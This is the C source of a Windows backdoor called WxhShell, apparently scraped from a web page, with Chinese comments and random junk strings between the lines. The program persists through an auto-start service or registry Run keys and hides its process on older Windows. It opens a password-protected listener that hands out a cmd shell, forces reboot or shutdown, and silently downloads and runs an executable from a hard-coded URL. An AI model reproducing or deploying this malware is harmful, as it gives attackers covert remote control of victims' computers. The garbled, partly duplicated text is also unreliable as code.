Dg PROCESS_BASIC_INFORMATION pbi; gVjI1{WTK D[ U[D HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &;S.1tg if(NULL == hInst ) return 0; t-*oVX3D c-.t8X,5(~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); rK)aR g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pMnkh}Q# NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); h$.y)v o<ak&LX`9 if (!NtQueryInformationProcess) return 0; e0Cr> I5/e mk.:V64 >; hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +a_eNl, if(!hProcess) return 0; vY0C(jK Cg<:C?>!p if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Rs,\{# 25]Mi2_ CloseHandle(hProcess); (dn(:<_$ -L>xVF-|:1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hn\<'|n if(hProcess==NULL) return 0; fx(^}e =$;i HMODULE hMod; NPy{ =#k4 char procName[255]; y33+^ unsigned long cbNeeded; E:/G!1 :bFCnV`Q if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }UNRe]ft$ roT$dL
P)w CloseHandle(hProcess); #ak2[UOT i lk\&J~I if(strstr(procName,"services")) return 1; // 以服务启动 Q= IA|rN G&$+8r return 0; // 注册表启动 |!:ImX@ } tn!z^W g BfYm // 主模块 Qfx(+=| int StartWxhshell(LPSTR lpCmdLine) -02cI}e { CnyCEIO- SOCKET wsl; {E`[`Kf BOOL val=TRUE; m?bd6'&FR int port=0; :#W40rUb struct sockaddr_in door; xp-.,^q\w )\#w=P if(wscfg.ws_autoins) Install(); 3`[f<XaL Sn=|Q4ZN port=atoi(lpCmdLine); -3`S;Dmn ?Iy$'am]L if(port<=0) port=wscfg.ws_port; 8?#4<4Ql8 Kcv7C{-/ WSADATA data; SRs1t6&y= if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =c>2d.^l ,5^XjU3c= if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;/?M&rX setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \ cmt'b door.sin_family = AF_INET; U,
_nEx door.sin_addr.s_addr = inet_addr("127.0.0.1"); G;:n*_QXE door.sin_port = htons(port); F0h`>{1% rmXxid if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (8DJf"} closesocket(wsl); FG]xn(E return 1; a_Y*pOu } 9a}rE <?UbzT7X if(listen(wsl,2) == INVALID_SOCKET) { )N h67P3X" closesocket(wsl); ({JXv return 1; <y#-I%ed } H0<(j(JK Wxhshell(wsl); , 6 P:S7 WSACleanup(); tUouO0_l _)s<E9t2N return 0; MTJ ."e<B hbm%{*d } ^UI{U1N~Bz 70bI}/u // 以NT服务方式启动 Pf&\2_H3s9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x_Zi^ ] { ?HwW~aO DWORD status = 0; 3db ,6R DWORD specificError = 0xfffffff; mYLqT$t.+ `B6~KZ serviceStatus.dwServiceType = SERVICE_WIN32; h8@8Qw serviceStatus.dwCurrentState = SERVICE_START_PENDING; 2Zt :]be serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HE
GMwRJG serviceStatus.dwWin32ExitCode = 0; g-`HKoKe serviceStatus.dwServiceSpecificExitCode = 0; C
"XvspJ serviceStatus.dwCheckPoint = 0; bH4'j/3 serviceStatus.dwWaitHint = 0; hu}`,2 9qc<m'MZ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G"w
?{W@ if (hServiceStatusHandle==0) return; _GEt:=DAP# (T;4'c status = GetLastError(); ?/ xk if (status!=NO_ERROR) +>3XJlZV { |iN!V3#S serviceStatus.dwCurrentState = SERVICE_STOPPED; k"_i7 serviceStatus.dwCheckPoint = 0; -6lsR serviceStatus.dwWaitHint = 0; '<!
b}1w0 serviceStatus.dwWin32ExitCode = status; uYjE)" serviceStatus.dwServiceSpecificExitCode = specificError; _Iz JxAcJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); (A!+$}UR return; ?sfas57&y } `o~dQb/k+ `K -j serviceStatus.dwCurrentState = SERVICE_RUNNING; AX6z4G serviceStatus.dwCheckPoint = 0; HKu? J serviceStatus.dwWaitHint = 0; fZ8%Z
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); '
>a(| } #OlU|I hx|Cam" // 处理NT服务事件,比如:启动、停止 g '2'K VOID WINAPI NTServiceHandler(DWORD fdwControl) %04N"^mT'~ { q@K8,=/.# switch(fdwControl) W/03L, 1 { k?r-%oJ7 case SERVICE_CONTROL_STOP: n^F:p*)Q% serviceStatus.dwWin32ExitCode = 0; hP1}Do serviceStatus.dwCurrentState = SERVICE_STOPPED; 1aEM&=h_W serviceStatus.dwCheckPoint = 0; *sNZ.Y:. serviceStatus.dwWaitHint = 0; yB][
3?lv { 1Rrp#E} SetServiceStatus(hServiceStatusHandle, &serviceStatus); P<<?7_ ?? } M "QT(u+ return; &!/E&e$_ case SERVICE_CONTROL_PAUSE: }:JE*D| serviceStatus.dwCurrentState = SERVICE_PAUSED; b(^g v break; `PML4P[ case SERVICE_CONTROL_CONTINUE: }dnO7K serviceStatus.dwCurrentState = SERVICE_RUNNING; I+nKaN+8i
break; kU uDA><1 case SERVICE_CONTROL_INTERROGATE: +/!kL0[v break; +; /]' }; \:>GF-Z( SetServiceStatus(hServiceStatusHandle, &serviceStatus); poJ7q ( } Bw5zh1ALC; h)S223[ // 标准应用程序主函数 [C1.*Q+l int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 50MdZ;R-3 { z1wJ-l w-f[h // 获取操作系统版本 P#e1? OsIsNt=GetOsVer(); M#<U=Ha GetModuleFileName(NULL,ExeFile,MAX_PATH); !~X[qT s?qRy
2 // 从命令行安装 %V r vu5 if(strpbrk(lpCmdLine,"iI")) Install(); :|j,x7&/{ 21(8/F ~{ // 下载执行文件 hC1CISm.U if(wscfg.ws_downexe) { zJ-_{GiM*L if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |Z\?nZ~ WinExec(wscfg.ws_filenam,SW_HIDE); y"N7r1Pf } <*D{uMw ,&+"|,m if(!OsIsNt) { ]IX6>p, // 如果时win9x,隐藏进程并且设置为注册表启动 Ql~9a
[8T~ HideProc(); oW0A8_|9 StartWxhshell(lpCmdLine); |>w>}w`~ } :X1~ else +{b!,D3sa* if(StartFromService()) )8BGN'jyi // 以服务方式启动 1oD1ia# StartServiceCtrlDispatcher(DispatchTable); |jh&a+4W else 4k}3^.# // 普通方式启动 UNx|+ StartWxhshell(lpCmdLine); .I~#o$6 ZkbaUIQ return 0; [V vTR#^ } 7d9kr?3(U jg2UX cvoE4&m! T6T3:DG_B =========================================== m
2tw[6M 6??o(ziK$ d4y?2p ?3 5U%J,W E
cS+/ q?R)9E$h " N?Wx-pK X<pg^Y0 #include <stdio.h> >[,ywRJ#_} #include <string.h> 'brt?oZ% #include <windows.h> rE:"8d}z #include <winsock2.h> h$F.(N IYe #include <winsvc.h> N)F&c!anh #include <urlmon.h> oJ
r&9.S M:%6$`` #pragma comment (lib, "Ws2_32.lib") 8KxBN)fO; #pragma comment (lib, "urlmon.lib") |I; tBqN{u 1iS]n;xcl/ #define MAX_USER 100 // 最大客户端连接数 HIK"Ce #define BUF_SOCK 200 // sock buffer )<J|kC\r6c #define KEY_BUFF 255 // 输入 buffer U[4Xo&` ll]MBq #define REBOOT 0 // 重启 KKrLF?rc #define SHUTDOWN 1 // 关机 Z%h _g-C A&HN7C%X #define DEF_PORT 5000 // 监听端口 hDO\Q7 Vrwy+o>:X #define REG_LEN 16 // 注册表键长度 R`IFKmA EJ #define SVC_LEN 80 // NT服务名长度 nFRU-D$7 Xv1SRP# // 从dll定义API iD;pXE{2s% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [C8lMEV~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %kS4v,I typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =r w60B typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =H<I` J' *=sMJY9#jE // wxhshell配置信息 x,U'!F struct WSCFG { 0_!')+ int ws_port; // 监听端口 (d>
M/x?W char ws_passstr[REG_LEN]; // 口令 cRR[ci34k int ws_autoins; // 安装标记, 1=yes 0=no {6_M$"e. char ws_regname[REG_LEN]; // 注册表键名 8R3x74fL char ws_svcname[REG_LEN]; // 服务名 kIC$ai6. char ws_svcdisp[SVC_LEN]; // 服务显示名 O\3
Lx char ws_svcdesc[SVC_LEN]; // 服务描述信息 |4$.mb.
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~}lYp^~:J int ws_downexe; // 下载执行标记, 1=yes 0=no ,M4G_U[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ri<7!Y?l char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GnX+.uQL| jTR>H bh }; 3MmpB9l#H (D.B'V#> // default Wxhshell configuration :,@"I$>*/ struct WSCFG wscfg={DEF_PORT, _Q9 Mn-&qQ "xuhuanlingzhe", )bd)noZi 1, QR ?JN\%? "Wxhshell", -Kas9\VWEw "Wxhshell", :4Gc'bR "WxhShell Service", qjcPJ "Wrsky Windows CmdShell Service", @r.w+E= "Please Input Your Password: ", &oz^dlw 1, Az+k8=? "http://www.wrsky.com/wxhshell.exe", [~aRA'qJ{V "Wxhshell.exe" Q)/V>QW }; H^VNw1. S7B7'[ru // 消息定义模块 >/]`
f8^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Io(*_3V)B char *msg_ws_prompt="\n\r? for help\n\r#>"; B4D#TlB char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Oc6_x46S4 char *msg_ws_ext="\n\rExit."; YaBZ#$r char *msg_ws_end="\n\rQuit."; EJCf[#Sf char *msg_ws_boot="\n\rReboot..."; Kl'u char *msg_ws_poff="\n\rShutdown..."; 3R}O3#lj, char *msg_ws_down="\n\rSave to "; F@%`(/^TA yb-1zF| char *msg_ws_err="\n\rErr!"; Q[vQT?J7 char *msg_ws_ok="\n\rOK!"; b p[wr vvTQ!Aa char ExeFile[MAX_PATH]; X7bS{GT int nUser = 0; $fzO:br5WJ HANDLE handles[MAX_USER]; rexNsKRK_ int OsIsNt; [%uj+?}6O A_y]6~Mu?~ SERVICE_STATUS serviceStatus; Nf]h8d~ SERVICE_STATUS_HANDLE hServiceStatusHandle; [$Dzf<0 /e:kBjysJ // 函数声明 V
6*ohC: int Install(void); (u{?aG~ int Uninstall(void); tk5zq-/d int DownloadFile(char *sURL, SOCKET wsh); n@JZ 2K4 int Boot(int flag); '^{:HR#i void HideProc(void); +55+%oGl int GetOsVer(void); M+L8~BD@ int Wxhshell(SOCKET wsl); _.{I1*6Y2 void TalkWithClient(void *cs); @W1F4HYds int CmdShell(SOCKET sock); n9 %&HDl4 int StartFromService(void); b2tUJ2p int StartWxhshell(LPSTR lpCmdLine); *QGyF`Go{ HM]mOmL90N VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V JJ6q VOID WINAPI NTServiceHandler( DWORD fdwControl ); {f(RY j R<)^--n // 数据结构和表定义 7'g{:dzS*3 SERVICE_TABLE_ENTRY DispatchTable[] = :~{Nf-y0`1 { Q,m&XpZ {wscfg.ws_svcname, NTServiceMain}, QVR8b3T@ {NULL, NULL} <2V:tj)?P }; MQY}}a-oug P3k@ptc-K // 自我安装 ng{"W| int Install(void) u)4eu,MBT { \-W|)H char svExeFile[MAX_PATH]; vTl7x HKEY key; r$cq2pkX strcpy(svExeFile,ExeFile); 4G_At ~PtIq.BY // 如果是win9x系统,修改注册表设为自启动 @2;/-,4O if(!OsIsNt) { fP KFU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bzWWW^kNL RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %B~@wcI)W RegCloseKey(key); Ncr*F^J4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YAsE,M+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =j~vL`d2] RegCloseKey(key); a/{M2 return 0; VR XK/dZ } |[W7&@hF } ccY! OSae } :Ldx^UO else { :pCv!g2 P#l"`C
/ // 如果是NT以上系统,安装为系统服务 MJ M< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *~\R0ddz if (schSCManager!=0) XQPlhpcv { )gHfbUYS SC_HANDLE schService = CreateService )?MUUI : ( "qdEu KI schSCManager, %F}i2!\<L wscfg.ws_svcname, .Y5o&at6s wscfg.ws_svcdisp, ]2 SERVICE_ALL_ACCESS, l3:2f-H SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , skP'- ^F~ SERVICE_AUTO_START, !Z!X]F-fY SERVICE_ERROR_NORMAL, j[${h,p? svExeFile, -d4|EtN NULL, H7{I[>: NULL, $]<wQH/?_ NULL, l{mC|8X NULL, EdTR]}8 NULL
B2^*Sr[ ); ^oMdx2Ow# if (schService!=0) T9\G,;VQ7/ { %PlA9@:IZ CloseServiceHandle(schService); [T(`+
#f CloseServiceHandle(schSCManager); O8k+R@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z'9U.v'M) strcat(svExeFile,wscfg.ws_svcname); +`f3_Xd if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <lgX=wx L RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yA]OX" T?* RegCloseKey(key); s#
V>+mU return 0; /^sk y! } rHp2I6.0a } A4daIhP
( CloseServiceHandle(schSCManager); Dnp><% } )dfwYS*[n } K"jS,a?s 6 P$zhMnAAN return 1; hf\/2Vl } uE,g|51H/ tF:AqR:(~ // 自我卸载 w_P2\B^ int Uninstall(void) `hf`lq^ { (>SucUU HKEY key; Th!;zu^t -<l2 $&KS if(!OsIsNt) { Wi@YJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oV'G67 W RegDeleteValue(key,wscfg.ws_regname); L./{^) RegCloseKey(key); ML.|\:r* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nj{; RegDeleteValue(key,wscfg.ws_regname); 0{(5J,/BF RegCloseKey(key); oTg
'N return 0; k] A(nr } l kW5<s_ } )I"I[jDw } PYiO l else { %.WW-S3 T|-llhJ8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )fl+3!tq if (schSCManager!=0) PJPKn0,W { DN;|?oNZ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]Q#k"Je if (schService!=0) gKP=@v%- { 8GeJ%^0o} if(DeleteService(schService)!=0) { gu"@*,hL CloseServiceHandle(schService); yRR[M@Y CloseServiceHandle(schSCManager); 9v/=o`J#
return 0; 'fYF1gR4 } #$;}-* CloseServiceHandle(schService); ^/I.? :+ } b(\Mi_J CloseServiceHandle(schSCManager); \ #N))gAQ } ^p~QHS/ } i`5Skr:M p,BoiYdi return 1;
tYp 185 } M<r]a{Yv Gkm{b[ // 从指定url下载文件 W~FU!C?] int DownloadFile(char *sURL, SOCKET wsh) *|ef #-|D { T037|k a{ HRESULT hr; io UO0 char seps[]= "/"; P4:Zy;$v! char *token; FXul
u6"SX char *file; Fl!D2jnN char myURL[MAX_PATH]; &88c@Ksn char myFILE[MAX_PATH]; |G/U%?` C]&/k_k strcpy(myURL,sURL); ?)H:.]7-x token=strtok(myURL,seps); -<:w{cV while(token!=NULL) 85USMPF { *D67&/g. file=token; A8g_BLj!e token=strtok(NULL,seps); ]&s@5<S[ } *M.,Yoj .{-X1tJ7 GetCurrentDirectory(MAX_PATH,myFILE); ?2q0[T?e strcat(myFILE, "\\"); M)~sL1) strcat(myFILE, file); kN6jX send(wsh,myFILE,strlen(myFILE),0); ,H_d#Koa. send(wsh,"...",3,0); rX0 ?m:&m hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R'pfA
B|! if(hr==S_OK) M+I9k;N6& return 0; ~~@dbB else _WZ{ i, return 1; sR^b_/ElxT t'Zv)Wu1E }
#jsN Bus]OF>hu // 系统电源模块 4dy!2KZN int Boot(int flag) tt|P-p- { -qBdcbi|x) HANDLE hToken; aQ-SrxmO8 TOKEN_PRIVILEGES tkp; y&/bp<Z vdigw.=z if(OsIsNt) { qHvU4v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i-?mghe8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {<1uV']x tkp.PrivilegeCount = 1; 4 !m'9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4I9Yr AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $y{.fj y3 if(flag==REBOOT) { ;p7R~17 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u@tH6k*cBz return 0; =!)x`1j!S } ?dXAHY else { .[+}nA,g%~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `KZu/r-M9 return 0; K'B*D*w } zN9#qlfv } >
H&v else { P 5.@LN if(flag==REBOOT) { OO</d: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Dp4x\97O return 0; uzT+, } /N#=Tol else { hAt4+O&P if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Lq2jXy5#n return 0; `q`ah_ } ^j@+!A_.Q } 'u%vpvF 9m)gp19YA return 1; * U}-Y* } e.^?hwl 7rYBFSp // win9x进程隐藏模块 i6$HwRZm# void HideProc(void) maa$kg8U*! { lEw;X78+ )CHXfO w HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X,Rl&K\b" if ( hKernel != NULL ) 6=Wevb5YJ { j5og}Pq: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JH u>\{ 8V ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _s<s14+od FreeLibrary(hKernel); a47e } 'nq~1 >i f96`n+>xi return; i8p$wf"aW } m#R"~ > p1hF. // 获取操作系统版本 MK1#^9Zr int GetOsVer(void) sSc~q+xz { `%^w-' OSVERSIONINFO winfo; )Gk?x$pY@ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vexF|'!}0# GetVersionEx(&winfo); EZzR"W/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f*ABIm return 1; NEPK else D>;_R
HK return 0; "shX~zd5 } H:OpS-b s5 {B1e // 客户端句柄模块 8B]\;m int Wxhshell(SOCKET wsl) Ptcq/f { f mJK+ SOCKET wsh; w^=(:`
struct sockaddr_in client; CU*TY1% DWORD myID; t)uxW
7 &5.J y2hO] while(nUser<MAX_USER) 3,`M\#z%K { KhP_U{)D int nSize=sizeof(client); wt;`_}g wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N=7iQ@{1 if(wsh==INVALID_SOCKET) return 1; sdiWQv _sZ&=-FR handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w\UAKN60 if(handles[nUser]==0) =,C]d~ closesocket(wsh); ~kj96w4eAR else edCVIY'1 nUser++; %IE;'aa
} } B2* 7H WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ke3~o"IQ WPrBK{B`o return 0; E:k]Z } e igVT4 FCOa|IKsN // 关闭 socket %W$b2N{l void CloseIt(SOCKET wsh) .o5K X* { BTYYp1 closesocket(wsh); hOkn@F. nUser--; ,grx'to(X ExitThread(0); {0np } |(2#KMEWa b:r8r}49 // 客户端请求句柄 T8)X?>CIW void TalkWithClient(void *cs) 3$Vx8:Rhdn { -ah)/5j Qx3eEt@X5] SOCKET wsh=(SOCKET)cs; !`4ie char pwd[SVC_LEN]; 1RX-`"^+ char cmd[KEY_BUFF]; )db:jPkwd char chr[1]; V~
MsGj int i,j; -3ANNj k3e6y while (nUser < MAX_USER) { 7E#h(bt j ^i2>Ax&T if(wscfg.ws_passstr) { EVBOubV if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;DhAw 1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'Z=_zG/RX //ZeroMemory(pwd,KEY_BUFF); vM]5IHqeE i=0; 0%%y9;o while(i<SVC_LEN) { JiO8EIM -q[x"Ha% // 设置超时 mxBx?xM- fd_set FdRead; O!hp=`B,jf struct timeval TimeOut; sZxTsUW FD_ZERO(&FdRead); e=p_qhBt FD_SET(wsh,&FdRead); Vgkj4EE TimeOut.tv_sec=8; N6p0` TimeOut.tv_usec=0; )V+/@ 4 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \ykA7Y% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6d6Dk>(V K7.ayM 0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3-6MGL9 pwd=chr[0]; "L`BuAB if(chr[0]==0xd || chr[0]==0xa) { {O).! pwd=0; 2L[!~h2 break; 2<h~:
L } gR
gB=
C{ i++; D5({&.X[- } 8z7eL>) -sdzA6dp // 如果是非法用户,关闭 socket Gd`7Tf)' if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YlT&.G } b/JjA e6H}L:; send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @8w5Oudvx send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vJct)i v@ qDR|?^ while(1) { 0_-o]BY iR PE0 ZeroMemory(cmd,KEY_BUFF); W1Fhx` n%RaEL // 自动支持客户端 telnet标准 >?)_, KL j=0; YU`k^a7%
while(j<KEY_BUFF) { "VHT5k if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~`^kP.() cmd[j]=chr[0]; BB9eQ:
xO if(chr[0]==0xa || chr[0]==0xd) { {oF;ZM'r cmd[j]=0; Vr"'O6 break; ^+-]V9?+ } [{#TN j++; _
W#Km } &iq'V*+-\ WA1yA*S // 下载文件 trjeGSt& if(strstr(cmd,"http://")) { 0S4Y3bac& send(wsh,msg_ws_down,strlen(msg_ws_down),0); n[qnrk*3
% if(DownloadFile(cmd,wsh)) @jjxgd'%& send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,3eN& else }.U(Gxu$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OC-d5P
} {~R?f$}""j else { U(x$&um(l y!:vX6l switch(cmd[0]) { e]ST0J" TOgH~R= // 帮助 8tf>G(I{ case '?': { ]]`[tVaFr send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z,\(bW
qF break; RhT:] } =h=-&DSA // 安装 `1Md1e:J case 'i': { >ifys)wg> if(Install()) zVe,HKF/ send(wsh,msg_ws_err,strlen(msg_ws_err),0); "}%j' else $sb@*K}:4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -kP2Brm break; 9-&@Y } TNeL%s?B3 // 卸载 {|j-e{* case 'r': { $AvaOI.l if(Uninstall()) p`Tl)[* send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y#-c<o}f else OVgak>$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '43U v break; <nV 3`L&] } mr_NArF // 显示 wxhshell 所在路径 "Wk K1u case 'p': { 4AvIU!0w char svExeFile[MAX_PATH]; Z\QNn strcpy(svExeFile,"\n\r"); 0$Zh4Y strcat(svExeFile,ExeFile); )@y'$)5s send(wsh,svExeFile,strlen(svExeFile),0); qPUACuF' break; ;Z;` BGZJ } cFJZ|Ld // 重启 C R't case 'b': { +]yVSns
3 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yDe*-N\'W if(Boot(REBOOT)) L"?4}U: send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?;(!(<{ else { JJM!pD\ h closesocket(wsh); 0|0IIgy ExitThread(0); kf~>%tES] } EL2z& break; G%i&C)jZ } B%))HLo' // 关机 (U.VCSn case 'd': { fHI@'
'0 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =M4wP3V/ if(Boot(SHUTDOWN)) [5M! ' send(wsh,msg_ws_err,strlen(msg_ws_err),0); VzcW9'"# else { +:c}LCI9< closesocket(wsh); yd45y}uS;F ExitThread(0); +, rm } v] Xy^7? break; ogdAJw6 9 } 3z#fFP@E // 获取shell GIR12%-EO case 's': { 1.~^QH\p?3 CmdShell(wsh); f_hG2Sk closesocket(wsh); ~+RrL,t# ExitThread(0); xBw ua; break; K
#JO# } {cw+kY]m4- // 退出 eD^(*a>( case 'x': { {@-tRm& send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (~b0-3s CloseIt(wsh); jt9@aN.mJN break; C8:y+pH_U; } )^E6VD&6 // 离开 "68=dC case 'q': { A/j'{X!z
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1ahb:Mjv closesocket(wsh); XFww|SG$ WSACleanup(); MpIP)bdq7 exit(1); PbMvM break; 5hAs/i9_ } tf9a- s } @Hp=xC9V } +J}h ~%: TE} // 提示信息 +]VW[$W if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4%TmW/yd } 2qKAO/_O } G#'G9/Tm *vzj(HGO return; '1\UFz } f{]W*!VV- GMob&0l8_ // shell模块句柄 )f%Q7 int CmdShell(SOCKET sock) S8]YS@@D { Y3'dV) STARTUPINFO si; oYeFOw` ZeroMemory(&si,sizeof(si)); lJ4/bL2I/ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lstnxi%x si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >LEp EMJ\ PROCESS_INFORMATION ProcessInfo; "fd'~e$S# char cmdline[]="cmd"; 7{=+Va5 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !/e8x;_ return 0; r`:dUCFE } tZD^<Q7}\ Lez]{%+.`[ // 自身启动模式 KVpQ,x&q~ int StartFromService(void) 8RVeKnpXTV { |c,'0V,"cH typedef struct E0Kt4%b { _eaK:EW DWORD ExitStatus; ]=]`Mnuxb DWORD PebBaseAddress; `S=4cS H( DWORD AffinityMask; '494^1"io DWORD BasePriority; G0x!:[ ULONG UniqueProcessId; '[[*(4a3 ULONG InheritedFromUniqueProcessId; [8`^_i=# } PROCESS_BASIC_INFORMATION; V%J_iY/BUb #w)D ml PROCNTQSIP NtQueryInformationProcess; xEe3,tb'e 3:!5 ] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0av2w5>af static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z8w@pT 7!8R)m^1[ HANDLE hProcess; BUEV+SZ4 PROCESS_BASIC_INFORMATION pbi; mDIN%/S' =$vy_UN HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B+=Xb;p8 if(NULL == hInst ) return 0; \YF'qWB fu`|@S g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); brt`oR g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ebB8.(k9G3 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0J9Ub
